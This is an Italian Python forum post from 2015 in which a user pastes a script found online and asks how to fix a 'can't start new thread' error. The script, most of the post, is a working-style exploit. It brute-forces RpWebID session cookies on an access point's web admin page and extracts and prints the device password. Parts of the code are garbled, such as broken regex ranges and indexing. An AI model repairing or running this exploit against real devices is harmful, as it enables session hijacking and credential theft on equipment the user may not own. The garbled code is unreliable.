Giovx24
Profilo di
Nome | Giovx24 |
---|---|
Indirizzo email | n/a |
Messaggi | 1 |
-
- 2015-11-05 21:55:48
- errore script
- Forum >> Programmazione Python >> Scripting
- salve,
ho la necessità di eseguire uno script che ho trovato in rete:
import threading
import requests
import sys
import re
import time
import HTMLParser
# replace it with your target
url = "http://192.168.50.3/"
def test_valid_cookie(cookie_val):
cookies = dict(RpWebID=cookie_val)
try:
req = requests.get('%shtml/tUserAccountControl.htm' % (url), cookies=cookies, timeout=10)
pattern = r"NAME=\"OldPwd\" SIZE=\"12\" MAXLENGTH=\"12\" VALUE=\"([�-9]+)\""
if ('NAME="OldPwd"' in req.content):
print '[+] Cookie: %s valid !' % (cookie_val)
h = HTMLParser.HTMLParser()
password = re.findall(pattern, req.content)0.replace('&', ';&')[1:] + ";"
print '[+] Password of AP is: %s' % h.unescape(password)
except:
# print "[!] Error while connecting to the host"
sys.exit(-1)
def get_cookie_value():
pattern = "RpWebID=(a-z0-9{8})"
try:
req = requests.get(url, timeout=3)
regex = re.search(pattern, req.content)
if (regex is None):
print "[!] Unable to retrieve cookie in HTTP response"
sys.exit(-1)
else:
return regex.group(1)
except:
print "[!] Error while connecting to the host"
sys.exit(-1)
cookie_val = get_cookie_value()
print "Cookie value extracted: %s" % (cookie_val)
start = int(cookie_val, 16) - 3600 # less than one hour
cookie_val = int(cookie_val, 16)
counter = 0
for i in xrange(cookie_val, start, -1):
if (counter >= 350):
time.sleep(3)
counter = 0
b = threading.Thread(None, test_valid_cookie, None, (format(i, 'x'),))
b.start()
counter = counter + 1
ottengo questo errore:
File "/usr/lib/python2.7/threading.py", line 745, in start
_start_new_thread(self.__bootstrap, ())
thread.error: can't start new thread
qualcuno sa come risovere?
grazie